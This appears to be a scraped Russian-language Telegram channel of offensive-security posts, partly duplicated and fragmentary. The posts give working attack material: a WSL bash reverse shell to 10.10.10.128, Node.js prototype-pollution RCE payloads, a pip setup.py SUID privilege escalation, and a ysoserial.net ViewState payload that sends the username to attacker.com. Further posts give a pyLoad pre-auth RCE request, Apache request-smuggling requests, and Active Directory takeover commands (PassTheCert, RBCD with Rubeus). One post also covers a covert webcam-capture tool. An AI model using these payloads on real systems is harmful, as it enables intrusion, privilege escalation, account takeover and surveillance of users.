Abuse WSL
#RU
И естественно благодаря данной функции мы можем выполнить различные хитрости, которые нам недоступны как обычному пользователю, но можем выполнить в пределах нашего шелла. Нужны самые стандартные права пользователя, но важно, чтобы мы смогли выполнить
Потом убеждаемся, что данный функционал действительно работает и смотрим, доступен ли нам какой-либо дистрибутив
#EN
And of course with this feature we can do all sorts of tricks which we can't do as a normal user but we can do within our shell. We need the most standard user rights, but it is important that we can run
Then we make sure that this feature really works and check if any
#RU
Если все ок, то проверьте, что у вас есть еще доступ к
#EN
If everything is ok, check that you have access to the bash shell (
Начинаем с базового | Starting with basic
OR
Если ответ видим
#RU
P.S если что то это не тот же самый root, который есть в виндовой тачке, однако мы можем выполнять теперь те действия, которые изначально нам не были доступны
#EN
P.S it is not the same as root, which is in the wind machine, but we can now do things that were not originally available to us
#RU
Мы можем выполнять/модифицировать различные бинари на основной машине
#EN
We can run/modify different binary on the main machine
Have fun👀
#RU
Windows Subsystem for Linux (WSL) - по факту данная функция в Windows, дает доступ к компактной версии файловой системе Linux, т.е мы можем выполнять практически любые команды Linux в Windows.И естественно благодаря данной функции мы можем выполнить различные хитрости, которые нам недоступны как обычному пользователю, но можем выполнить в пределах нашего шелла. Нужны самые стандартные права пользователя, но важно, чтобы мы смогли выполнить
wsl --install для включения данного функционала.Потом убеждаемся, что данный функционал действительно работает и смотрим, доступен ли нам какой-либо дистрибутив
Linux (по стандарту там будет Ubuntu)#EN
Windows Subsystem for Linux (WSL) - in fact this function in Windows, gives us access to a compact version of the Linux file system, i.e. we can execute almost any Linux command in Windows.And of course with this feature we can do all sorts of tricks which we can't do as a normal user but we can do within our shell. We need the most standard user rights, but it is important that we can run
wsl --install to enable this feature.Then we make sure that this feature really works and check if any
Linux distro is available for us (by default this would be Ubuntu)wsl --list --running#RU
Если все ок, то проверьте, что у вас есть еще доступ к
bash оболочке (bash.exe). Обычно он имеет путь следующий:C:\Windows\system32\bash.exe#EN
If everything is ok, check that you have access to the bash shell (
bash.exe). It usually has the path as follows:C:\Windows\system32\bash.exeНачинаем с базового | Starting with basic
wsl.exe "whoami"OR
bash.exe -c "whoami"Если ответ видим
root, то можно попробовать rev-shell | If the answer is root, you can try rev-shellbash.exe -c "bash -i >& /dev/tcp/10.10.10.128/5555 0>&1"#RU
P.S если что то это не тот же самый root, который есть в виндовой тачке, однако мы можем выполнять теперь те действия, которые изначально нам не были доступны
#EN
P.S it is not the same as root, which is in the wind machine, but we can now do things that were not originally available to us
#RU
Мы можем выполнять/модифицировать различные бинари на основной машине
#EN
We can run/modify different binary on the main machine
wsl.exe -e /mnt/c/Windows/System32/NeTrojan.exeHave fun
Please open Telegram to view this post
VIEW IN TELEGRAM
🐳4
Там @dnevnik_infosec сегодня запостил много материала по PE в Windows, чекаем
Prototype Pollution + child_process.fork() = RCE
Помимо моего пепла, который остался с ресерча винды, я прочитал про интерсные свойства у
Т.е конструктор выглядит следующим образом
Это позволяет нам напрямую управлять аргументами командной строки, и дает нам возможности для RCE. Особый интерес представляет аргумент
А значит потенциальный пейлоад будет выглядеть так
Или в виде JSON
Помимо моего пепла, который остался с ресерча винды, я прочитал про интерсные свойства у
child_process.fork() в Node.jschild_process.fork() - предоставляет возможность создавать подпроцессы с помощью child_process.spawn(). Метод fork() принимает объект с именем options, в котором одним из потенциальных параметров является свойство execArgv. Это массив строк, содержащих аргументы командной строки, которые должны быть использованы при порождении дочернего процесса.Т.е конструктор выглядит следующим образом
this.execArgv = options.execArgv;Это позволяет нам напрямую управлять аргументами командной строки, и дает нам возможности для RCE. Особый интерес представляет аргумент
--eval, который позволяет передавать произвольный JavaScript, а он уже будет выполняться дочерним процессом. Т.е мы можем загружать свои собственные модули."execArgv": [
"--eval=require('<moduele_name>')"
]А значит потенциальный пейлоад будет выглядеть так
cat.__proto__.execArgv = ["-c", "touch /tmp/biba"]Или в виде JSON
"__proto__": { "execArgv":[ "--eval=require('child_process').execSync('touch /tmp/biba')" ] }👍5
Privilege Escalation via pip
Всеми наш любимый
После того, как мы сделали
Сначала скопируем нужный нам репозиторий
Затем давайте сделаем некоторые изменения в файле
Собираем
И скачиваем наш пакет
И теперь запустим шелл
Have fun👍
P.S
Полный код в комментариях
THX:
Всеми наш любимый
pip позволяет автоматически запускать код, когда разработчики просто загружают пакет. Таким образом мы можем скачать пакет и использовать эту возможность для повышения привилегийПосле того, как мы сделали
sudo -l. Мы видим, что pip download или pip setup можно запустить от sudo, так что давайте этим воспользуемся.Сначала скопируем нужный нам репозиторий
Затем давайте сделаем некоторые изменения в файле
setup.py. Импортируем os для запуска наших команд и в функции RunCommand поместим os.system("chmod u+s /bin/bash").Собираем
python3 -m buildИ скачиваем наш пакет
sudo pip3 download http://localhost/your-file.tar.gzИ теперь запустим шелл
bash -pHave fun
P.S
Полный код в комментариях
THX:
https://medium.com/checkmarx-security/automatic-execution-of-code-upon-package-download-on-python-package-manager-cd6ed9e366a8Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - wunderwuzzi23/this_is_fine_wuzzi: Demo of a malicious python package that will run code upon pip download or install
Demo of a malicious python package that will run code upon pip download or install - wunderwuzzi23/this_is_fine_wuzzi
❤4🔥1
Forwarded from iMelnik
⚠️ Фиксим NET::ERR_CERTIFICATE_TRANSPARENCY_REQUIRED в Chrome на Android🤖 при работе с Burp🟠.
Мне потребовалось поковырять приложение для Android🤖.
Я настроил эмулятор для проксирования трафика в Burp. Вот отличный мануал. Однако Chrome по-прежнему выдавал ошибку о незащищенном соединении. Это связано с тем, что все версии Chrome 99+ получили CT (Certificate Transparency). Подробнее можно узнать тут
Чтобы запустить Chrome с флагом
Мне потребовалось поковырять приложение для Android🤖.
Я настроил эмулятор для проксирования трафика в Burp. Вот отличный мануал. Однако Chrome по-прежнему выдавал ошибку о незащищенном соединении. Это связано с тем, что все версии Chrome 99+ получили CT (Certificate Transparency). Подробнее можно узнать тут
Чтобы запустить Chrome с флагом
--ignore-certificate-errors-spki-list=ТУТ-ХЭШ-НАШЕГО-СЕРТА, нужно выполнить следующие действия. решение взята от сюда.#$YOUR_CA_CERTIFICATE твой сертификат от BurpSuite Certificate.
#получаем его хэш
openssl x509 -in $YOUR_CA_CERTIFICATE -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64#создаём файл с ванлайнером
echo "chrome --ignore-certificate-errors-spki-list=$YOUR_SPKI_FINGERPRINT" > burp-chrome-android😁3👍1
Forwarded from Похек (SkyNet)
Atomic Red Team
Всем привет! Извиняюсь, что давно не делал посты, загружен всем подряд. Постараюсь исправиться)
Я думаю многие из нас знакомы с Atomic Red Team. Но если нет, то давайте кратко пройдемся. Это некая библиотека PowerShell скриптов основанная на MITRE. Данный фреймворк предназначен не только для красной команды, но и для защитников, которые желают проверить свои же средства защиты. Этот фреймворк является самым популярным и полным "чек-листом" для проверки ИБ вашей рабочей среды.
Atomic Red Team предназначен не только для Windows, но и Linux + MacOS. Так что вы можете протестировать всё что вам нужно)
Команда для импорта тестов:
Пример запуска тестов:
Для безумцев:
#tools
Всем привет! Извиняюсь, что давно не делал посты, загружен всем подряд. Постараюсь исправиться)
Я думаю многие из нас знакомы с Atomic Red Team. Но если нет, то давайте кратко пройдемся. Это некая библиотека PowerShell скриптов основанная на MITRE. Данный фреймворк предназначен не только для красной команды, но и для защитников, которые желают проверить свои же средства защиты. Этот фреймворк является самым популярным и полным "чек-листом" для проверки ИБ вашей рабочей среды.
Atomic Red Team предназначен не только для Windows, но и Linux + MacOS. Так что вы можете протестировать всё что вам нужно)
Команда для импорта тестов:
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing); Install-AtomicRedTeam
Далее советую вам обратиться к этой и этой странице документации. Вы можете загрузить все тесты, но лучше конечно под конкретную операционную систему) Пример запуска тестов:
Invoke-AtomicTest T1003.003 - просто запуск теста или группы тестовInvoke-AtomicTest T1003.003 -TestNumbers 1,2 - вы выбрали только 1 и 2 тесты из группыInvoke-AtomicTest T1003.003 -ShowDetails - вы сможете прочитать подробную информацию о конкретном тесте/ахДля безумцев:
Invoke-AtomicTest All
Также советую вам посмотреть интересное видео от наших западных коллег об этом прекрасном инструменте)#tools
YouTube
How To Test Your Security with Atomic Red Team
https://jh.live/pwyc || Jump into Pay What You Can training for more free labs just like this! https://jh.live/pwyc
00:42 - Context
01:27 - Setup
02:57 - Begin
04:32 - Atomic Red Team Demo
05:49 - Starting Atomic Red Team
07:42 - Results
09:26…
00:42 - Context
01:27 - Setup
02:57 - Begin
04:32 - Atomic Red Team Demo
05:49 - Starting Atomic Red Team
07:42 - Results
09:26…
❤1
Insecure Deserialization in C#
Фреймворк .NET предлагает нам различные способы сериализации наших объектов😫
Смотрим BinaryFormatter
Предлагаю немного посмотреть на используемые классы и методы.
Смотрим ObjectDataProvider
Класс🤓
Говоря по простому, класс позволяет использовать
Таким образом, при десериализации объект будет выполнять функцию с параметрами, которые вы можете эксплуатировать.
Вот пример кода, как это все работает:
Необходимо добавить в качестве ссылки👀
YSOSERIAL.NET
Пользователь может использовать общедоступные инструменты, такие как ysoserial.net, для легкого создания пэйлоада, использующий внешние библиотеки, и таким образом построить цепочку гаджетов, которая в конечном итоге приведет к RCE.
Играемся с ViewState
Как-то раз была статья об эксплуатации десериализации в ASP.NET через
Здесь также, не буду вдаваться в подробности, а просто приведу пример эксплуатации через
И получаем большой ответ в виде base64 и пихаем его в
Фреймворк .NET предлагает нам различные способы сериализации наших объектов
Смотрим BinaryFormatter
using System.Runtime.Serialization.Formatters.Binary;
public class SomeClass
{
public string SomeProperty { get; set; }
public double SomeOtherProperty { get; set; }
}
class Program
{
static void Main(string[] args)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream memoryStream = new MemoryStream(File.ReadAllBytes("untrusted.file"));
SomeClass obj = (SomeClass)binaryFormatter.Deserialize(memoryStream);
Console.WriteLine(obj.SomeProperty);
Console.WriteLine(obj.SomeOtherProperty);
}
}
Предлагаю немного посмотреть на используемые классы и методы.
BinaryFormatter() - по факту сериализует и десериализует объекты. Замечу что сами Microsoft в своей документации пишут, что тип BinaryFormatter является небезопасным и устаревшим. Достается из либы System.Runtime.Serialization.Formatters.BinaryMemoryStream() - помогает уже читать и записывать данные с помощью памяти в качестве резервного хранилища. Его вообще также не рекомендуют использовать, однако по заявлениям сообщества аналогов нету. Из-за своей специфики он чаще всего может привести вас к OutOfMemoryException. Про его проблемы рекомендую лучше почитать статью, в котором кратко, но поясняют его проблемы и как их решать Смотрим ObjectDataProvider
Класс
ObjectDataProvider оборачивает и создает объект, который можно использовать в качестве источника привязки. Звучит не очень, знаю. Говоря по простому, класс позволяет использовать
MethodParameters для установки произвольных параметров, а затем использовать MethodName для вызова функции объекта, объявленной с использованием произвольных параметров.Таким образом, при десериализации объект будет выполнять функцию с параметрами, которые вы можете эксплуатировать.
Вот пример кода, как это все работает:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}Необходимо добавить в качестве ссылки
C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll для того, чтобы загрузить System.Windows.Data, иначе код не скомпилируется YSOSERIAL.NET
Пользователь может использовать общедоступные инструменты, такие как ysoserial.net, для легкого создания пэйлоада, использующий внешние библиотеки, и таким образом построить цепочку гаджетов, которая в конечном итоге приведет к RCE.
Играемся с ViewState
Как-то раз была статья об эксплуатации десериализации в ASP.NET через
ViewState ViewState - это метод, в ASP.NET. Используется для сохранения значений страницы и элементов управления между страницами. Когда HTML для страницы отображает, текущее состояние страницы и значения, которые должны быть сохранены при возврате, то они сериализуются в base64 и хранятся в параметре ViewState.Здесь также, не буду вдаваться в подробности, а просто приведу пример эксплуатации через
ysoserial.netysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"И получаем большой ответ в виде base64 и пихаем его в
ViewStatePlease open Telegram to view this post
VIEW IN TELEGRAM
❤6
Произошел абьюз PPL
Механизм Windows Protected Process Light (PPL) обеспечивает защиту от малварей. Windows Code Integrity (CI), которая гарантирует, что процессы PPL будут запускать только код со специальными подписями от Microsoft или других доверенных поставщиков.
Однако байпасс PPL особенно интересен, поскольку Microsoft считает PPL мерой защиты, а не формальной границей безопасности, поэтому эти ошибки не подлежат исправлению.
Чувак на BlackHat Asia 2023 (буквально недавно), представил интересные атаки: PPLFault и GodFault
Держите👍
https://github.com/gabriellandau/PPLFault
Механизм Windows Protected Process Light (PPL) обеспечивает защиту от малварей. Windows Code Integrity (CI), которая гарантирует, что процессы PPL будут запускать только код со специальными подписями от Microsoft или других доверенных поставщиков.
Однако байпасс PPL особенно интересен, поскольку Microsoft считает PPL мерой защиты, а не формальной границей безопасности, поэтому эти ошибки не подлежат исправлению.
Чувак на BlackHat Asia 2023 (буквально недавно), представил интересные атаки: PPLFault и GodFault
Держите
https://github.com/gabriellandau/PPLFault
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - gabriellandau/PPLFault
Contribute to gabriellandau/PPLFault development by creating an account on GitHub.
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔4🗿2👍1
Monkey Hacker
Пора решать таски по байпассу IDS на PhD 👍
Занял в итоге 5-ое место и получил небольшой мерч в виде рюкзака и футболки.
Был под ником Barsik✨
Был под ником Barsik
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6❤1
Pre-auth RCE in pyLoad (CVE-2023-0297)
😁
В функции
Ну и получилось так
pyLoad - это менеджер загрузки OSS, написанный на Python и управляемый через веб-интерфейс. В нем недавно нашли вулну и зарепортили на бб, связанную с js2py. Кратко это интеграция JS в Python В функции
eval_js(), заметили момент, что параметр jk выполняет JS код. Люди поковырялись и поняли, что туда спокойно можно положить любую команду.Ну и получилось так
POST /amogus/test HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaPlease open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad: CVE-2023-0297: The Story of Finding Pre-auth RCE in pyLoad
CVE-2023-0297: The Story of Finding Pre-auth RCE in pyLoad - bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad
❤4👍1🔥1
Apache HTTP-Request-Smuggling (CVE-2023-25690)
Где-то в апреле была шумиха с новой вулной в Apache, когда
В первом случае был следующий прикол
Пользователь запрашивает URL
Весело, да?
Плюс, замечу, что Apache был уязвим еще к
Для его эксплуатации мы уже имеем следующиим запрос
И теперь делаем смагглинг запрос
И ответ будет следующий
Где-то в апреле была шумиха с новой вулной в Apache, когда
mod_proxy вместе с правилами RewriteRule и ProxyPassMatch, приводил к HTTP-Request-SmugglingВ первом случае был следующий прикол
Пользователь запрашивает URL
https://testik.com/categories/1, а RewriteRule сопоставляет URL и захватывает значение 1 с помощью регулярного выражения ^/categories/(.*). Затем правило переписывает URL на http://testik.com:8080/categories?id=1, добавляя перехваченное значение к переписанному URL в качестве id параметра запроса.ProxyPassReverse, уже просто заменяет домен и адрес внутреннего сервера на домен и адрес прокси-сервера, чтобы клиент мог правильно переходить по ссылкам и получать доступ к контенту с проксированного внутреннего сервера /categories/ http://example-shop.com:8080/. Плюс, замечу, что Apache был уязвим еще к
CRLF-injection, который нам будет нужен в дальнейшемДля его эксплуатации мы уже имеем следующиим запрос
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: localhostИ теперь делаем смагглинг запрос
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: localhostИ ответ будет следующий
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backendGitHub
GitHub - dhmosfunk/CVE-2023-25690-POC: CVE 2023 25690 Proof of concept - mod_proxy vulnerable configuration on Apache HTTP Server…
CVE 2023 25690 Proof of concept - mod_proxy vulnerable configuration on Apache HTTP Server versions 2.4.0 - 2.4.55 leads to HTTP Request Smuggling vulnerability. - dhmosfunk/CVE-2023-25690-POC
❤8🔥2
Произошел небольшой абьюз ADSI + MSSQL Linked Servers
Чуваки с Black Arrow представили новую технику по получению пароля, используя
Чуваки с Black Arrow представили новую технику по получению пароля, используя
MSSQL и ADSI (позволяет выполнять запросы по LDAP)❤5
Account Takeover via Microsoft OAuth Misconfiguration by descope
nOAuth - это недостаток авторизации OAuth через
Атака объединяет учетные записи пользователей без проверки, и дает полный контроль над учетной записью жертвы.
nOAuth - это недостаток авторизации OAuth через
Microsoft Azure AD. Был он найден командой descopeАтака объединяет учетные записи пользователей без проверки, и дает полный контроль над учетной записью жертвы.
👍5❤2
Hello from the other side of the world
Собрал небольшой список тулзов, связанные с проксированием трафика.🚘
Proxychains - без комментариев
GrafTCP - то же самое, что и
Chisel - тоже популярный инструмент на
Еще другой пользователь писал SharpChisel, который является тем же chisel, но на
Shadowsocks-Windows - shadowsocks на
Gost - как и
Bore - по словам автора, тулза насчитывает около 400 строк безопасного, асинхронного
FRP - опять
GoProxy - хороша для
Mubeng - хороша для ротации IP
Ligolo - простой в использовании. Как написано на гите: «Reverse Tunneling made easy for pentesters, by pentesters»
Pivotnacci - хорошая замена reGeorg, который проксировал
proxy.py - тоже отличная альтернатива reGeorg
ligolo-ng - вместо
Если кто-то дополнит, то буду рад😘
Собрал небольшой список тулзов, связанные с проксированием трафика.
Proxychains - без комментариев
GrafTCP - то же самое, что и
proxychains, с другим механизмом "проксификации", который позволяет использовать Go.Chisel - тоже популярный инструмент на
Go, однако все же стоит упомянуть о нем. Могут быть проблемы при использовании разных версиях на клиентской или серверной стороне. Еще другой пользователь писал SharpChisel, который является тем же chisel, но на
C# уже, однако замечу, что проект не поддерживается с 2020 годаShadowsocks-Windows - shadowsocks на
C#Gost - как и
chisel, тулза тоже сделана на Go, однако замечу, что помимо стандартной прокси, у вас есть возможность поставить прокси с аутентификацией, multiple-ports, а также сделать как просто forward proxy, так и многоуровневый forward proxy. Thx to rivenBore - по словам автора, тулза насчитывает около 400 строк безопасного, асинхронного
Rust и очень проста в настройке - достаточно запустить один двоичный файл для клиента и сервера. Скажу от себя, что работает достаточно быстроFRP - опять
Go, тут уже позволяет нам использовать какой-то конфиг файл, token/oidc аутентификация, bandwidth лимит, поддержка KCP/QUIC и много чего другого.GoProxy - хороша для
VPS, больше нечего сказатьMubeng - хороша для ротации IP
Ligolo - простой в использовании. Как написано на гите: «Reverse Tunneling made easy for pentesters, by pentesters»
Pivotnacci - хорошая замена reGeorg, который проксировал
HTTPproxy.py - тоже отличная альтернатива reGeorg
ligolo-ng - вместо
SOCKS, создает интерфейс, который также можно использовать для pivoting. Thx to D00MovenokЕсли кто-то дополнит, то буду рад
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3👍3🔥3🤔1
Forwarded from RedTeam brazzers (sn🥶vvcr💥sh)
В выпуске «За кулисами Red Team» @Riocool упоминает, что на пентестах помимо скриншотов десктопа бывает сподручно делать снимки с веб-камеры на контролируемой рабочей станции, чтобы убедиться, находится ли юзверь в данный момент за ПеКа, либо же, к примеру, отлучился на свой закономерный обеденный перерыв. Раньше я не прибегал к подобному трюку, однако подсознательно часто испытывал потребность в такого рода проверках, ведь ворваться в GUI-сеанс определенного пользователя временами бывает просто необходимо.
Поискав готовые решения в сети, стало очевидно, что «из коробки» капчурить вебку умеет только дедушка meterpreter, а встраивать поделки на плюсах в свои проекты для выполнения из памяти не всегда удобно. Еще немного погуглив, наткнулся на этот интересный пост на Медиуме, где в параграфе Webcam Capture упоминается некий скрипт
🗒 DirectX.Capture Class Library
В свободное время было решено переписать
👨💻 https://github.com/snovvcrash/SharpDXWebcam
⚠️ Помним, что инструмент предназначен исключительно для образовательных целей и кейсов этичного тестирования на проникновение в рамках контракта, а блэчить плохо!
Всем остальным – happy (ethical) hacking!
Поискав готовые решения в сети, стало очевидно, что «из коробки» капчурить вебку умеет только дедушка meterpreter, а встраивать поделки на плюсах в свои проекты для выполнения из памяти не всегда удобно. Еще немного погуглив, наткнулся на этот интересный пост на Медиуме, где в параграфе Webcam Capture упоминается некий скрипт
MiniEye.ps1 от @xorrior, который якобы уже умеет делать все, что нам нужно (ссылка на скрипт из статьи отдает 404, инструмент переехал в корень репозитория – Get-DXWebcamVideo.ps1). Подход основан на использовании .NET-библиотеки DirectShowNET и обвязки для нее DirectX.Capture, блог автора которой на CodeProject также рекомендую к прочтению:В свободное время было решено переписать
Get-DXWebcamVideo.ps1 на фреймворк, чтобы не возиться лишний раз с запуском повершелла. Смержив зависимости с помощью dnMerge, можно получить standalone-сборку, готовую для выполнения из вашего любимого агента C2:Всем остальным – happy (ethical) hacking!
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3❤2
Play with Domain via PassTheCert
Часто для захвата домена используется PKINIT, который позволяет получить
Однако,🎧
PassTheCert позволяет выполнять различные вектора атак
Предоставление пользователю прав
Модификация атрибута
Добавление компьютера в домен, что полезно для выполнения
Сброс пароля учетной записи. Но без прав
Я рассматривал использование данной тулзы в последнем случае
Часто для захвата домена используется PKINIT, который позволяет получить
TGT (или его NT-хэш). Сам же PKINIT представляет из себя механизм для предварительной аутентификации в Kerberos, который использует сертификаты X.509 в аутентификации KDC для клиентов и наоборот (хотя иногда позволяет клиенту получить билет, не выполняя аутентификацию). Однако,
DC не всегда поддерживает PKINIT. Это может быть связано с отсутствием Smart Card Logon. И тут нам уже поможет LDAP, позволяющий аутентифицироваться с помощью клиентского сертификата и выполнять различные действия. Для таких случаев ребята написали тулзу PassTheCert PassTheCert позволяет выполнять различные вектора атак
Предоставление пользователю прав
DCSync Модификация атрибута
msDS-AllowedToActOnBehalfOfOtherIdentity Добавление компьютера в домен, что полезно для выполнения
RBCD-атак. Сброс пароля учетной записи. Но без прав
User-Force-Change-Password это не сработаетЯ рассматривал использование данной тулзы в последнем случае
python3 passthecert.py -dc-ip 10.10.10.X -action modify_user -crt user.crt -key user.key -domain corp.com -target aboba -new-passPlease open Telegram to view this post
VIEW IN TELEGRAM
❤5👍3👏1
Forwarded from Похек (Sergey Zybnev)
Представьте вы нашли XSS, но если её сдать просто так, то вам вряд ли поставят высокий уровень угрозы. Тогда вам следует сначала понять какой максимальную урон вы можете воспроизвести с помощью найденной уязвимости. Чем понятнее вы опиши свой импакт, тем выше вероятность что вам заплатят больше и могут даже апнуть уровень угрозы.
* Change email -> password reset
* Change password
* Change phone -> SMS password reset
* Change security questions
* Add SSO login (login with GitHub, ect)
* Force logout -> Session Fixation
* Steal session token via non-HTTP only cookie
* Steal session token via insecure embed in page
* Steal API key for application
* Add admin user to organization
* Hijack oAuth flow and steal code
* Steal SSO code to adjacent app, then reverse SSO back to main app
* Add authentication method (SMS, email, etc)
* Gain access to refresh token for JWT or session
#bugbounty
Дневник Безопасника 🛡
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6❤1
Computer Object Takeover
Завершая играться с AD, нашел достаточно интересный сценарий, связанный с абьюзом
Если в сетке есть пользователь с правами
Данный сценарий возможен, т.к🔥
Для этого мы создаем новую учетку тачки. По дефолту параметр
SID в принципе и сами можете вставить, но решил чуть облегчить процесс 🐈
После этого можно использовать тот же
И затем юзаем
Для облегчения я юзал PowerMad и PowerView
Bye-bye🎧
Завершая играться с AD, нашел достаточно интересный сценарий, связанный с абьюзом
GenericЕсли в сетке есть пользователь с правами
GenericWrite, то возможно зайти с повышенными привилегиями на другой тачкеДанный сценарий возможен, т.к
Generic позволяет изменять DACL Для этого мы создаем новую учетку тачки. По дефолту параметр
ms-DS-MachineAccountQuota позволяет всем пользователям домена добавлять до 10 учетных записей машинNew-MachineAccount -MachineAccount aboba -Password $(ConvertTo-SecureString
'Test@123' -AsPlainText -Force)
$ComputerSid = Get-DomainComputer -Domain dev.domain.local aboba -Properties objectsid | select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDenoscriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc02.domain.local | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}После этого можно использовать тот же
Rubeus, для получения RC4-хэша. Rubeus.exe hash /user:aboba /password:Test@123 /domain:dev.domain.localИ затем юзаем
s4u для повышения своих привилегий за счет получения TGSRubeus.exe s4u /user:aboba$ /rc4:4E35B802576F770E77851BAB9D4AE172 /impersonateuser:administrator /msdsspn:cifs/dc02.domain.local /pttДля облегчения я юзал PowerMad и PowerView
Bye-bye
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - Kevin-Robertson/Powermad: PowerShell MachineAccountQuota and DNS exploit tools
PowerShell MachineAccountQuota and DNS exploit tools - Kevin-Robertson/Powermad
❤6👍4🌭2
Всем, ку
В этом году, на OFFZONE помогаю с бейджами. Надеюсь, что они работают хорошо и стабильно (хотя проблемы есть у некоторых)✨
Всем хорошо провести мероприятие😇
В этом году, на OFFZONE помогаю с бейджами. Надеюсь, что они работают хорошо и стабильно (хотя проблемы есть у некоторых)
Всем хорошо провести мероприятие
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6❤5